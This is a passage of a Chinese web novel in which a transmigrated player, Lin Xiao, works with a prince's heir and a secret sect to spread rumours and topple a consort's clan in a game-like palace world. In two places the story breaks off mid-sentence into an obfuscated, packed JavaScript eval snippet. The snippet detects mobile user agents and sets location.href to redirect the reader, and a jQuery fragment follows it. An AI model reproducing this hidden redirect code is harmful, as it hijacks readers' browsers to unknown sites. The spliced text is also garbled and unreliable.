只能说，他们天生契合。 林筱能听见世子的笑声，但她也只当作不知道，慢慢撇着茶沫，喝了一口。 果然已经煮久了。因为她那意外的腿麻，倒是让这位世子殿下多等了她不少时间，也难为他此刻还能好声好气与她交流。 “可还喝得惯？”世子殿下总算是笑够了，但说出的却依旧不提正事。 他不提正事，林筱也不会自寻麻烦：“不过尔尔。” 就茶论茶，不提其他，比的就是耐心。 “这茶叶选的是去岁秋茶，味道的确有所欠缺。”世子殿下依旧只提茶，“有时候，确实偷不了懒，还得是新茶。” 林筱也不管他是不是话里藏着话，以不变应万变：“嗯。” 晋王世子看着她，只见她神色坦然自若，就像是与寻常有人聊天，终于还是服了输：“所以我需要新人来帮我做事。” “所以你就选择了我？”林筱摩挲着茶杯，有些事即使事后想明白了，却也不能忘怀，“你是故意让我带白狼出现在贵妃眼前。” “如果说贵妃是陛下挡在人前的箭靶，那我就是替你冲锋陷阵的傀儡。” 还是毫无所知，被人卖了还提他输钱的傀儡。 她笑话探花郎他们轻敌，自己又何尝不是。只不过她还有反击的余地，而他们却已经乘上那艘注定淹没的大船。 “是也不是。”世子意味不明地看了她一眼，抬起袖角遮掩自己，低咳了一声，突然转移话题，“你是如何看待贵妃的？” “为虎作伥。” 在明知贵妃的背后是皇帝的前提下，这句话可以说的上是大逆不道，但在场的两个人却都没有觉得不对。 “可恨之人必有可怜之处，”世子眉目温柔，甚至还带了几分怜悯，手中不自觉地转动佛珠，“她是个可怜人。” 每个人对于可怜的定义或许不同，但林筱并不觉得贵妃可怜。从贵妃的表现就可以看出，她以身饲妖，甚至乐在其中，把整个家族都拖下了水。 从她毫不手软的手段中，林筱可没看见一分属于可怜人的气质。 “你的想法太片面。”世子仿佛一眼就看出林筱想的是什么，淡淡地反驳道，“你知道她入宫时才几岁？” 古代女子十五及笄，即可婚配。想来，贵妃也晚不了多少。 “十五岁选秀入宫，就被一个可以当她爹的男人选中。”世子不紧不慢地为林筱续了一杯茶，“从此一生的荣辱生死就寄托在另一个人身上，她会变成什么样的人，不都由另一个人说的算吗？” 这个时代说先进，它允许女子为官，说封建，它又对后宅女子赋予重重管束。 婚前，女子可以是她自己，婚后，她就只能是另一个人的夫人。所以选择入朝为官的女子，基本上都终身未嫁。 看着林筱没有说话，他将茶杯推到她的手边，温热的茶水暖和了突然冰冷的手：“不是她想选择这样，而是她没有选择。” “他无所谓的，就放任那些女子在深宫蹉跎。他宠爱的，就不动声色地护着她，给予她最好的一切，却隐于乱池之下。他决定利用的，就大张旗鼓地偏爱着她却不给她足够的保护，放任她在血腥中成长，成为刺穿前朝后宫最趁手的刀。” “而一把刀，是不会有好结局的。” 它可能被封藏，可能因为过于刚硬而折断，唯独不会被供奉在桌前，成为被怜爱的角色。 皇帝不爱她，皇帝只想利用她。他培育出一朵浓烈带刺却深爱他的玫瑰，再用他的玫瑰去葬送他的敌人。 没有犹豫。 “所以神启教……”林筱用热水暖着手，没有喝。 “自然也是他的。” 虽然世子只字不提他是谁，但他们都明白，那是坐在龙椅之上，掌握此间杀生大权的皇帝。 神启教主张清君侧。清君侧，意在君王身侧的人，贵妃首当其冲。 而偏偏在这时，城中出现被不明异兽攻击的人，户部尚书府被不明力量袭击，化为一片废墟。 总总矛头，都指向饲养着白狐的贵妃。这个时候，生祠就会成为最后那个稻草，彻底压垮贵妃。 她会被当成妖祸丢出去，被心爱的人下令处以极刑，平息民愤。 而皇帝，依旧是清清白白的皇帝，甚至可能因为他的果断行为而被众人称赞。 “所以白狼也是你们早就准备好的祭品。”奠定帝王至高无上地位的祭品。 “父王行事嚣张，已经引得众人不满。”世子把玩手中空了的茶杯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“可怜之人，”他咳了几声，面色刷得惨白，自己却毫无知觉，“多愚钝。而愚钝之人，活着又有什么意义？” “也是浪费金银米粮。” 一个看着命不久矣的人轻飘飘地否定那些高位者的存在意义，满是温柔的眼神中深藏的却是视万物为猪狗的漠然。 他的野心，绝对不止于晋王的位置。也不知道当今的这位皇帝陛下知不知道自己在与虎谋皮。 “你想要我怎么做？”林筱没再纠缠那些已经过去的事，没有必要，她现在只需要知道她得为她的存活付出多少代价。 “散布谣言，让世人知道，贵妃乃妖星降临，不容于世。”他说着对方可怜，下达的指令却不见任何怜悯，“也别忘了白狐与白狼。” “只是这个？”林筱不觉得这件事会困扰他们，甚至需要他们救活她来解决。 “剩下的，就看你的发挥了。”世子却笑了笑，“你才是神启教的主事人，我不过是提个建议而已。” “肉体凡胎，我们怎么对付得了妖邪。”林筱垂眼看着茶杯，温润的瓷器染上茶渍，白玉微瑕，刺眼的很。 世子了然地看着她：“贵妃所为，天怒人怨，自有奇人异士前来投靠。且陛下贵为真龙天子，邪气不侵，威慑天下，想必也不敢在京畿作乱。” 这话可真是矛盾，但无所谓，真相只会掌握在少数人手中，多数人得到的都只是一个修饰之后的故事。 她也只是一个听命的人。 “是。” 37. 第一个世界19 答应别人的事情，林筱总会做到的。 等身体状况更好一些之后，林筱就加入了神启教搞事团体之中。 和她之前想象的东奔西逃的日子不同，等她到神启教报道之后，她的生活就是坐在椅子上悠然地喝着茶，指挥着底下的人四处传播谣言。 早知道生活那么美好，她就不多在世子那竹屋里磨蹭了。 神启教的发展，也没有她想象的那么凄惨。 作为皇帝和世子一手培养的组织，他们的本部天然扎根于京畿地带，位于一个靠近天子脚下却不引人注意的小山村内。 神启教的象征性吉祥物是教主，一个年纪轻轻却白发飘飘被架在神位上的年轻人。他终年生活在幽暗的神庙内，偶尔出现也需要用黑袍包裹全身，不然就会被妖邪诅咒而痛不欲生。 作为一个现代人，林筱自然认出这是一位白化病人，但不妨碍她也把人高高架起。一个神位影响不了她干活，留着还更赏心悦目。 教主之下，就是东西南北中五个主事人。 京城位于中央，也是五个主事人中地位最高的，一直以来都受世子和皇帝的直接控制。林筱如今接任的就是这个位置。 其余其他四个主事人，有自己人，也有从教众中选择出来的，所以各地发展有好有坏，看上去更想一群乌合之众。 林筱的任务很明确，就是要彻底摧毁贵妃的名声。 如今京城之内，户部尚书府被摧毁的消息已经被晋王生辰宴的喜气冲淡，就连探花郎和少监也已经重新出现在人前。 林筱带着世子送来的面具，隐藏在曲折的小巷内，看着他们应酬拉拢官员。 那就，先选择你吧。谁让，你对探花郎笑得那么谄媚。 林筱闪身回到杂乱污浊的路面，绕着一栋栋破败的草屋左右拐弯，终于来到一处更加破败的小院。 残破的木门摇摇欲坠，屋顶的砖瓦也所剩不几，屋檐之下已经被不请自来的生物占领，屋内也都是蜘蛛的领地。 林筱对这头顶的蜘蛛网视而不见，走到鼠蚁成群的厨房，顺着灶台下的密道来到城外。 另一个出口，已经有人在等待她了。 “林主事。”既是她在神启教的副手，也是世子派在她身边的眼的男轻男子低着头，跪在地上候在一旁。 也不知道他在这边已经等了多久，但林筱从来没有听见过他的抱怨。 不过，她也不是那种会磋磨人的资本家：“我要见教主，请求神旨。” “马上为您准备沐浴焚香。”他低伏身子，恭敬地回应。 但这句话的意思他们都明白，林筱这是已经挑好动手的对象了。 翌日，京城礼部侍郎家的墙壁就出现一个巨大的兽爪，而周围的街坊邻居却没有一人发觉。 这不由得让人想起户部尚书府，而偏偏这位礼部侍郎最近正在接洽与高家关系紧密的新科探花，不免让人多思。 就在礼部侍郎叫苦连天的时候，一连几天，所有和高家关系亲密的官员宅院都出现相似的爪印。 这要再说与高家无关，这谁也不信了啊。 一时之间，街上的谣言四起，都在说高家不详。 “可臣真的冤枉啊，”重新出现在朝廷的高尚书满脸的褶子都在诉说着委屈，“若真是与我高家有关，我们又怎么会做出这种显眼的事情来，必定是有人栽赃我们高家，望陛下明鉴啊。” 他的身后，发生同样事情的官员齐齐喊冤。 皇帝就坐在上方，沉吟不语。冠冕挡住了他的表情，让下方的人不敢擅自揣测，只能屏气等待他的判决。 一方人喊冤，自然有一方人攻讦。 自从贵妃得势，皇后的母家也成了他们的对家，两方人平素就会在朝上打得不可开交，自然也不会错过这一次机会。 “陛下，人言可畏。即便不是户部尚书所为，也有他对家中管教不严，给了歹人可趁之机的嫌疑。”一侧的队列中也走出一个人反驳。 皇帝依旧没有说话。 就在这时，一个小内监突然出现悄悄与殿内的内监传话。等话传到陛下耳边时，今日一直一言不发的陛下终于发了话：“此事蹊跷，容后再议。” 皇后一派的人还想说话，但陛下已经示意退朝，他们也只能悻悻退朝。 散朝的两派人自然互相看不顺眼，但等到下班之后，户部尚书还是秘密召集心腹在他秘密购买的别院商议。 然而不巧的是，这间别院就在世子购买的别院一旁。很难说，这是不是他早就算计好的事情。 接到消息的林筱早已在世子的别院准备好工具，就着今年的新茶光明正大地偷听他们的探花。 有些人的声音她不熟，但没关系，她只要记住户部尚书和探花他们的声音就足够了。 第一个开口的果然是户部尚书：“大家应当知道今日来此的目的。” 房间里出现稀稀落落的应和声。 新加入的礼部侍郎也是最心急的，说出的话也有几分咄咄逼人：“高大人，你当初可没说会有这一遭。” 妖这个东西在当朝有什么含义，他们这些当官的再清楚不过。谁也不想和谋反或者前朝余孽扯上关系，所以礼部侍郎的心情他们也理解。 果然，就在礼部侍郎说出这话之后，其余新被拉拢的官员都发出抱怨的声音。 这也是户部尚书把他们拉来的原因之一，给他们一颗定心丸。 “这件事你们不必忧心，肯定是他们那些人看我们如今势大，故意给我们找的事。”户部尚书胸有成竹地说道，“但陛下一定会还我们清白。” 一墙之外的林筱吹了吹仍冒着热气的茶盏，丝毫没把他的这句话放在心上。 “贵妃有孕了。”户部尚书带着难以压抑的兴奋，用明明已经压低着嗓音却依旧高昂到破音的声音宣布道，“只要这一胎确认是皇子，那就是皇长子。” “诸位都明白这代表什么吧。” 即使隔着墙，林筱还是能清晰地他们此起彼伏的抽气声。但比起他们关心下一个皇位继承者的野心，林筱更好奇的是—— 这皇帝一大把年纪还没有皇子，是不是那方面有点问题。 难怪那么想解决其他亲王，这是怕一直没有小孩，让对方起了不好的心思，先下手为强啊。 可都是个疑心病了，怎么就放过世子这么一个明晃晃的野心家呢。 林筱这边感慨，不妨碍户部尚书那边送走了新加入的成员， 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此刻，黑猫接管了高大人的主导权：“这件事不是我们干的，喵。” 在场的人熟练地忽视那个不明语气词，一本正经地讨论：“可那么大的动静，不是凡人可以做出来的。不知道白狐大人有没有其他妖族出现的消息？” “除了那些不出山的老妖怪，就属我们最厉害喵。”高大人一脸严肃地说，“不过我的确在城中发现有别的妖气，今晚我就去会会它。” 其余人互相交换个眼神，熟练地拍着猫大人的马屁：“您出手，肯定手到擒来。只要您一出现，对方立马就吓得跪地求饶。” 猫大人虽然没继续说话，但那呼噜声就连隔壁的林筱都听得到。 在一声声的赞扬中，猫大人迷失了自我，晕乎乎地走出了别院。 已经听到想要知道的消息的林筱正准备离开，却突然听到对面的花园传来熟悉的声音。 她停下脚步，示意身边的人帮她搬一把椅子，悠哉悠哉地继续坐下来听消息。 对面偷偷聊天的，就是探花郎和少监。 这一刻的探花郎也没有了之前的胸有成竹，说出的话都带着犹豫：“你说，这会不会是林筱做的？” “她在那种情况下还能活着？”少监显然在嘲笑探花郎多想了。 “可我们也没看见她的尸体。”探花郎知道自己的担心可能多余，但他的直觉却告诉他，这件事和林筱脱不了关系。 “就算她活着，那么重的伤，她怎么做出这种事。”少监不以为然，“一个新人而已，别太担心。” “也是。”一个新人而已。 他们又在一旁核对着之后的计划，从目前来看，白狐这一派的胜率遥遥领先。 “再等一个月，我们就能继续过逍遥日子了。”少监慢悠悠地说道，“只可惜了那新人的积分，让她逃了。” “其余人的积分也不少，也不亏。” 他们的动静也渐渐消失，只留下林筱看着世子别院的墙。 不好意思，让你们失望了，还真是我干的。 38. 第一个世界20 是夜，火光遍布整个京城。 整个京城的百姓都没能安睡，门前的水缸一滴水不剩，军巡铺的军士背着各种器材行走于坊间，彻夜未休。 直至将将天明，京城的火才算灭了。 四处都是灰黑色的土木灰尘，门前的残骸外伫立着满目茫然的百姓，看着自己的家园久久不能回神。 他们不明白，怎么一夜之间，一切都变了。 而内城也是同样的慌乱。 昨夜的大火并没有放过这些皇朝内最尊贵的人们，甚至比起外城，他们才是损失最严重的一批人。 急着救他们的古董珍宝，救满屋的藏书，也要救那些不见人的秘密。 但毫无疑问，无论内城外城，他们都对放火的人深恶痛绝。 在这种情况下，户部尚书他们一伙人没有被波及的建筑就格外显眼。 聪明的自己放火烧自己，不聪明的，就比如飘了的户部尚书，在酣然入眠中度过无惊无险的一晚。 一时间，本来已经快消停的流言更加疯狂地在整个皇城散布。 他们说，宫里的那位不详。 他们说，之前的那些脚印是妖邪在提前踩点。 比起之前暗指户部尚书高大人的谣言，这一次他们的目的更明确，直指高贵妃。 此刻的外城，人们暂且停下脚步休息片刻。 世子的别院也没有在这场灾难中幸免于难。不过由于院子里的下人机警，这里还是保留下不少完好的建筑可以供他们休息。 晋王世子今日难得有空，陪着林筱在这废墟中悠哉品茗。 也不失为一种别有风味的独特体验。 四下都是知根知底的心腹，世子也没有和林筱比拼耐心的打算，开门见山：“你这次胆子很大啊。” “我什么也没做。”林筱说得那叫理直气壮，声音在面具之下通过金属传播，更多了几分冷硬的坚定。 世子凝神望向她，林筱的眼神不躲不闪，回视她。 过了一会，他收回视线：“不是你，就不是吧。” “但和我有关。”林筱就像是诚心与世子过不去般，眼睁睁看着他含了一口茶才继续说出这下一句。 幸亏他留了心眼，这才不至于丢人地呛咳。不过，也没好到哪去。 “你不是说不是你做的？” “不是我做的，”林筱重复了一遍，“但和我有关。” “这到底是怎么回事？”他算是明白了，如果不直接问她，他们就会在这个问题上不断地绕圈子，无药可解。 “盯上他们的不止我们。”面具遮掩了林筱的表情，就算是尽在咫尺的世子也看不出她脸上的幸灾乐祸。 那一晚，幸存的玩家可不止她一个人。 来到这一局游戏的，新人只有她一个人。其他人虽然游戏经验没有探花郎他们丰富，但也有各自的奇遇。 就比如这个存活下来的人。 他之前在一个末日世界中意外获得一个稻草人，而那个稻草人具有替身的功能，可以说是珍贵道具。 他也没想到，刚获得道具的第一局游戏就被玩家自己人暗算，还失去了完成基础任务的机会。 他是个说书先生，总要抛头露面，一旦出现就必然会被他们俩人发现，最终还是免不了一死。 既然怎么做都是死，那死之前怎么也要把自己的仇人拖下水。 在林筱养伤的这段时间，他也没有闲着。既然探花郎他们可以勾结妖类，他也可以。 这场火，就是他和他投奔的那只妖合作的成果。当然，林筱只不过是在一次偶然的相遇中认识他，告诉了他一些真相而已。 毕竟对于他们那些人，杀身不如诛心。亲眼目睹自己筹谋已久的事业一点点崩盘，会比杀了他们还要痛快。 只不过林筱也没想到，那个玩家做起事来会那么干脆狠绝。 世子算是接受了林筱的说法：”可是这一烧，差点就让朝廷空了。“ 林筱顿了一下：“要不我让他去道个歉？” 即使世子早已知道眼前的女子是不服礼法的非常人，但听到这句回答依旧有种耳目一新的稀奇感：“道个歉就什么都能解决？” “不够吗？”林筱点了点头，“的确不太够，那再鞠个躬总行了。” 世子时常有种跟不上她的思维的古怪感觉，但又不知道如何加入，只能再次把疑惑压在心底：“你也不用担心，这件事上面会解决的。” 上面，他们的上面现在可就只剩下皇帝一个人了。 所以这个意思是——“他早就想杀了他们？” 是嫌每天看着一群老头碍眼，想换批新人吗？ “世家之疾，根深蒂固。”世子说起这件事时脸色也阴沉下来，想来也是对这些时时刻刻制约着皇权的世家有所不满，“真能一把火一了百了，你倒是立了大功。” 看来这皇帝对这些下属也不满了。 等一下，林筱抬起头，面具的重量让她的动作被迫从匆忙转变为不紧不慢，至少在外人看来格外的端庄肃穆：“那等神启教失去作用，它会背负多少罪名？” 谋逆肯定有了，现在看来到时候闹起来皇帝肯定会动手杀几个人，把罪名推到他们身上。 这些世家不仅权势滔天，在学子之中也名声不菲，到时候肯定从严处罚，死说不定还是件好事，她这个主事怕是不得好死。 兔尽狗烹，鸟尽弓藏。 前人的教训不得不防。 世子沉吟：“我会保你。” 他没有否认，就说明皇帝可能真的会那么做。不愧是提前准备对自己弟弟下手的狠人，当断则断一词表现得淋漓尽致。 “但眼下，还是看热闹更重要。”世子轻笑一声，对着天空遥遥举杯，“敬天。” 林筱也高举茶盏：“敬天。” 热闹，不会停歇。 说书先生把事情做得很干净，经过一天的搜查，他们依旧没能找到做出这件事的罪魁祸首。随着时间的推移，这次火灾并非人祸的传言也是越来越广为流传。 这也代表着，他们越来越能接受宫里的那位被妖孽附体的传言。 消息传到宫内，圣上勃然大怒，呵斥相关负责人员三日内结案，不然提头来见。 一时之间，被指命的官员都哭丧着脸，回家交代好后事就准备一了百了。 虽然现在的舆论都对高家不利，但探花郎他们也不是坐以待毙之人，第一时间拉起人商讨解决的方案。 这件事最重要的是，不能把这个名头安在贵 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他现在很确定，那场意外中，有人活了下来。最大的可能，那个人就是林筱。 那是个少见的聪明人，也知道借力打力的好处，发展成如今这个局势也不知道她在里面添了多少火。 “啊？”户部尚书抬起头，脸上依旧是满满的不安。 探花郎将厌烦压在眼眸深处，凝重而诚挚地看着他：“如果这件事解决不了，贵妃的地位也可能不稳。” “贵妃”两字显然引起了他的警觉，他顾不上两人的地位差距，握紧探花郎的手，言辞切切：“先生教我。” 不知不觉就成为高大人圈子里的核心人物，探花郎依旧不卑不亢地坐在并不算核心的位置：“既然大家都认为这件事与妖相关，我们也不必想着推翻这件事。” “那应该如何做？”席间的其他人好奇地询问。 “只不过事件的主人公需要换个人。”探花郎依旧没有急躁，像是引导他们思考般将自己的想法一句一句抛出。 一旁的少监沉默不语，看着茶盏中的绿叶上下浮沉。 “换个人？”他们面面相觑，“换谁好？” 虽然大家没有言明，但目光还是不由自主地飘向户部尚书大人。 地位最高，权势最大，也只有他能抗住这个身份。 户部尚书顿时吓得连连摇头：“我不行，我不行。” 事关自身，高大人总算也聪明了一回：“如果我出事，贵妃也脱不了干系。” 也是。 大家遗憾地继续思考。 即使知道这里的人多是草包废物，探花面对这种情况也已经快撑不住自己的表情。 倒是新加入的礼部侍郎还有些脑子：“地位高，且与妖相关的，不还有那位。” 他的脸，朝的是内城更中央的位置，更靠近皇宫的位置。 “大胆！”户部尚书呵斥导，脸上的神色变换，却也没有说出其他驳斥的话语。 探花郎功成身退，默默隐藏在人群之中。 除了贵妃，这个皇朝还有一位同样尊贵的人。而偏偏是在他获得白狼之后，这皇城就出现了那么多怪象。 晋王殿下。 39. 第一个世界21 次日，坊间流言再次出现了微妙的变化。 妖孽依旧是妖孽，只是这一回，妖孽不是来自宫中，而是出自紧邻皇宫的另一座府邸，一个同样身份尊贵的人。 哪怕没有明说，但人们也知道，那是在暗指晋王。 晋王府的反应可没有户部尚书那么迟钝。几乎就在流言开始小范围传播的时候，他们已经派人去追寻流言的源头，并顺藤摸瓜找到了背后指使者。 户部尚书高大人本人能力不行，手下的本领也并不高强，都不需要晋王府的人怎么操心，他们自己就送上了线索暴露身份。 这反而让晋王府的人迟疑着不敢确认。要不是人证物证齐全，户部尚书府又表现出心虚的样子，他们也不敢相信到能做到这个位置的官员还会有这样毫无自知之明的人。 户部尚书这一招祸水东引不仅没能见效，反倒为他们增添了一个强大的敌人。 敌人的敌人就是朋友，晋王很快就联合皇后一派的官员攻讦贵妃一派的官员。一时之间，皇城内的监狱都要塞不下人了。 就在他们闹得最厉害的时候，城外又传出了新的消息。 神启教，那个被他们看不上眼却又如耗子般四处逃窜蔓延的乌合之众，居然声称抓到了晋王府的人，并将在明日午时揭露他的真面目。 晋王府人员繁多，被逮到几个丫鬟仆役算不上难事，但这个真面目的说法却着实引人好奇。 再加上最近城内的流言，大家伙也都在猜测这真面目该不会是大变活人吧。就比如，把一个活人变成一只动物？ 消息传来时，就连朝上都出现了诡异的寂静。 本来每天的早朝就因为两派斗争像个菜市场般热闹，你方唱罢我登场，每天不衣冠不整地出门那都是不够卖力。 但如今晋王被这么一弄，不少人犹豫起来。 神启教虽然是个上不得台面的东西，但如此大张旗鼓也是头一回见，可见其中说不定真有蹊跷。所以他们也都在等待，等待一个结果，等待下一次站位的选择。 犹豫的人有，质疑高大人买通神启教行为下作的人也有，不过一会，殿内再次乱成一团。 稳稳坐在龙椅上的男人俯视阶下各色人物，得意傲慢。 朝廷如此热闹，民间自然也平静不下来。 但第一个出现在林筱面前的，却是她意想不到的人——探花郎。 他一身便于行动的短装，乌黑的长发束于脑后，风尘仆仆的脸上再也不见从前的淡然，只不过看见林筱时还是习惯性地露出那一抹微笑。 也不知道他是怎么混入神启教的总部，但他的确一瞬间就发现了被面具遮住全部面容的林筱，并且找到了她。 人就站在她面前，一副不达目的不罢休的样子。 林筱不想在这关键的时候把事情闹大。再说，现在是探花郎在她的地盘，如果在这里她都需要害怕，那她不如直接认输结束游戏。 她挥退了一直跟在身后的副手，将探花郎迎进了室内，甚至颇有闲情逸致地为他斟一杯茶，静静等待探花阐明他的来意。 “林筱，”探花有些艰难地说出名字，但一旦说出口，后面的话就变得顺畅起来，“我知道你还活着，也知道你现在在为陛下做事。” 林筱不惊讶探花会发觉此事，毕竟这个世界的权力只掌握在少数人手中，她只是觉得探花此时口中的称呼很微妙。 果然，下一秒探花就说道：“你我现在又是同僚了。” 即使知道眼前的人是一个会为了胜利不择手段的小人，林筱依旧会为他感到震惊。这是多么后的脸皮、多么强大的心脏，才能让他这个差点害死她的加害人坐在受害者面前还能恬不知耻地说着想要合作的话。 隔着厚实的面具，探花郎看不见她的表情，只能透过她露出衣袖之外的手指猜测她的想法。 她的双手放松自然，既没有因为愤怒而冒青筋，也没有忍耐地握起拳头，仿佛他真的只是一个无关轻重的人。 这样反而更麻烦，因为他没法根据对方的心理诱导对方踏入他的棋局中。 试探没有成功，探花郎也不气馁，就当真的只是来与同僚探讨下一步计划般开口：“如今我已经按照陛下的指示将晋王一齐拉下水，如果你需要，我可以帮你保住晋王世子。” 哈。 仗着探花郎没法通过面具看清她的表情，林筱毫不掩饰地表现出自己的惊讶。 她能活着，不是借助系统的力量，就是有了当地人的帮助。 如果她能借系统的力，当时也不会使用出那种鱼死网破的打法，所以只能是晋王世子救了她。 可是他也不想想，如果不是晋王世子，她又怎么搭上皇上那条线，还成功混入神启教拥有话语权？ 真的是越了解，越失望。错把豺狼当白兔，还得意到对手眼前炫耀，想想都为之前的自己不值。 “前途光明的探花郎这是要与我们这逆贼合作？”林筱笑了一下，也没掩饰自己的身份，“也不怕污了名声。” “我还有选择吗？”探花郎眸色深沉，带着穷途末路的坦荡，沉闷地低笑一声，“我们还有必要这么继续装糊涂下去吗？” 总觉得，她似乎在不知不觉间背了一个很重的黑锅。 “技不如人，我认输，是我小看了你。”探花郎甚至带了几份欣赏，“但下次见面，我就不会放过你了。” “我们不一定能见面。” “你猜错了。”探花郎又露出那个标志性的笑容，“我们是被它关注的人，我们注定会相遇。” 没等林筱继续问下去，他再次转身离开，仿佛他的任务只是给她带来更多的谜团一般。 既然明知道游戏会失败，为什么他还要加入皇帝这一阵营？还有那句注定会相遇，让她不由想起系统对她的恶意。 这是不是意味着，系统会提前筛选出可能通关的人，把他们当作蛊虫一样培养起来自杀残杀，让这个游戏永远没有通关的可能？ 但这些距离林筱还是太遥远，她看向守在门外的副手，他正低着头恭敬地守着，就像一只温驯的忠犬。 “路明，”她叫着他的名字，看着他上前却依旧不敢抬起他的头，“让他们可以开始了。” “是。”他跪在地上领命，服从、乖巧。 林筱看着他远去的背影，换了一身衣服，转身也离开了这。 神启教如约在京城门口出现，乌泱泱地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073094|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一群人簇拥着一个架在车上的男人，将他的面容完全暴露在城中百姓眼中。 那个男人算不上有名，但总有人能认出他。晋王府的采买多是他出面，故而京城中不少商贩都认识他。 起码他们都知道一点，这是晋王府的人。 这个消息一旦确认，城内的人都骚乱起来。不管这个晋王府的管事最后如何，起码证明神启教确实说到做到。 嘈杂过后，大家也都在等一个结果。 神启教也没有让大家失望。 一个带着玄色面具的人走了出来，看周围人的态度，他应该是这一带神启教的负责人了。他拨开青色小瓷瓶的塞子，将一种看着就浑浊的液体灌入晋王府管事的口中。 四周的神启教成员半跪在地上，口中不断念诵着神启教的教义。 被架在车上的男人一开始还想要挣脱来自玄色面具人的控制，浑浊的液体在他的努力下顺着下巴流入颈间，但更多的液体却依旧被灌入他的口内，被强迫吞咽。 他的意识开始混沌，只会本能地反抗，却无法对强迫他的人做出有效的攻击。 就在他即将陷入沉睡时，来自京城的方向却不约而同地发出惊呼。 他想要辨别声音来自何方，却意外地感知到自己的耳朵不在原来的位置。它似乎，变得比以前更灵活了。 他尝试着睁开眼，从未觉得光线是如此刺目，不由地眯起了眼睛。 但这一切更让周围的人发出害怕的声音。 猫耳，几乎成线的竖瞳，从发鬓蔓延自脸颊的绒毛，弹出的长甲。 这一切无一不在阐明一个事实：他不是人。 没想到神启教说的真面目，居然真的是这个最离奇的走向。晋王府是妖孽的老窝！ 城内的百姓往后退了几步，将自己更深地藏入京城内。跪在车下的教众哪怕吓得发抖，却依旧跟着节奏一遍又一遍背诵教义。 两相对比，城内的人都忍不住对神启教产生了好感。 神启教又有什么错呢？ 他们只是发现了妖怪，指明了妖怪，想要拯救世人而已，他们又能有什么错呢？ 底下的人心怀敬畏，上面的人却知道，不是他变成了妖怪，而是服了药的他是一个妖怪。 那瓶药是昨日世子带来的，他没有说来处，只是简单说了用处和用法。就连他们自己也没想到，这个药剂的效果会那么好。 如今这真面目也见了，神启教也出现在天子脚下，如果就那么离开得丢不少面子。 身边的人找出一根绳索将那半人半妖的家伙捆起来丢在一旁，索性喊来嗓门最大的人对着城楼喊道：“神明托梦教主，妖邪降世，人将不人。唯有清君侧，斩妖邪，才能将一切带回正路。” “我们不是来伤害你们，我们只是想让你们有个更好的家。” 门内依旧是一片混乱的声音。 就当他们以为城内的百姓还在害怕妖物而准备温声安抚时，半开的城门彻底打开，露出藏在门后威风凛凛的将士。 为首的人高挑瘦弱，骑在马背上都担心会被风吹走，但手中握持的长缨枪却不容他们说半句不是。 陈家姑娘，做了她想做的事。 40. 第一个世界22 当初的琼林宴上，新科进士口若悬河，述说着彼此的抱负。但不过短短几日，众人的境遇已经截然不同。 状元进了翰林起草文书，日复一日地做着重复的工作，唯一的收获就是练得一手漂亮的馆阁体。探花投靠了户部尚书一派，如今前途未明，福祸变更只在一瞬。其余人或是进了六部成了寻常小官，或是浑浑噩噩地过日子，甚者生死不知，总归没有像他们想象中的那般成为人上人。 倒是曾经被众人瞧不上眼的探花如今坐在高头大马之上，气宇轩昂，意气风发，不见之前怯懦的样子。 或许她生来就应该在马背上建功立业，而不是去背那些拗口的文书典籍。 看到陈家小姐，林筱虽然觉得在意料之外，却也是情理之中。 就算神启教是皇帝暗中扶持的组织，但当他们决定把事情闹到天子脚下时，为了彰显天子威严，京中也必定会安排人员镇压他们。 陈家小姐就是那个最好的人选。 既不会显得朝廷对他们重视，也不会因为他们弱小而轻视，顺便还能和陈家示好。 可谓一举三得。 也因此，门里门外，两方人呈现出完全不同的样子。 神启教这边都是泥腿子组成的队列，没有经过训练的人就连站队也都是歪歪扭扭。从城墙上看去，他们就是零散的一群人，没有纪律，手上甚至没有足够的利器，拿着一把扫帚也敢上战场。 城门后的队伍则是训练有素的军人，身材魁梧，令行禁止。他们手上拿着的也都是钢铁铸成的武器，透着寒光，散发生人勿近的凛然气势。 结局如何，一目了然。 神启教在无人期待之中落败。反抗的被斩杀，怯懦的被收监，就连痛苦哀嚎的晋王府管事都被带到监狱等待审问。 唯有那戴着面具的人选择了自刎，与神启教共同埋没于历史之中。 过了一会，城里出来了几个人打扫战场。 本该是耀武扬威的宣战反而促成了神启教的覆灭，至此，再无神启教。 但这一切都只是开始。 晋王府管事身上出现的异样容不得众人忽视，为了自证清白，晋王也必须允许他人搜查自己的府邸。 这一查，就查出了问题。 就在晋王府的书房，藏着一个隐蔽的暗室。暗室这个东西，只要有条件的大户人家都喜欢搞一个，所以暗室的存在不重要，重要的是里面藏着什么。 而晋王的暗室，不仅藏着一个神龛，一旁还有一件五爪龙袍和一堆带有被狼犬啃咬痕迹的骸骨。 这些东西的存在就已经不是简单的妖邪祸世了，而是晋王有不臣之心。甚至不等晋王辩驳，来人就已经将晋王一家老小扣押，等待审问。 另一边的高家也没能逃过。 他们在未建成的生祠一角发现了写着陛下名字的诅咒小人，书房角落藏着的几封与晋王的密信明晃晃写着他们要谋害皇帝扶持贵妃肚里的孩子上位。 一日之间，晋王、贵妃、高家，一个也没能逃过。他们豢养的宠物也都被剥皮抽筋，高悬于城墙之上警示其他虎视眈眈的妖物。 主要人物判了，次要人物也不容放过。但就在负责的士兵准备带走探花郎时，却发现他已经畏罪自缢。另一侧的司天监少监却没有探花郎的勇气，他抱着侥幸照旧生活，却被负责此事的士卒带进了监狱内。 监狱内的生活自然不比之前。少监蓬头垢发地坐在牢房的一角，浑身散发着自己都难以忍受的酸臭味，一旁是黢黑的老鼠啃食昨晚没吃下的硬馒头声，咯吱咯吱地犹如抱着白骨啃。 配着这漆黑幽深的房间，不知从何处传来的水滴声和隐约的血腥味，即使无人审问也能带给人带来浓浓的压迫感。 一声重一声轻的脚步声传来，少监却连头也没抬。 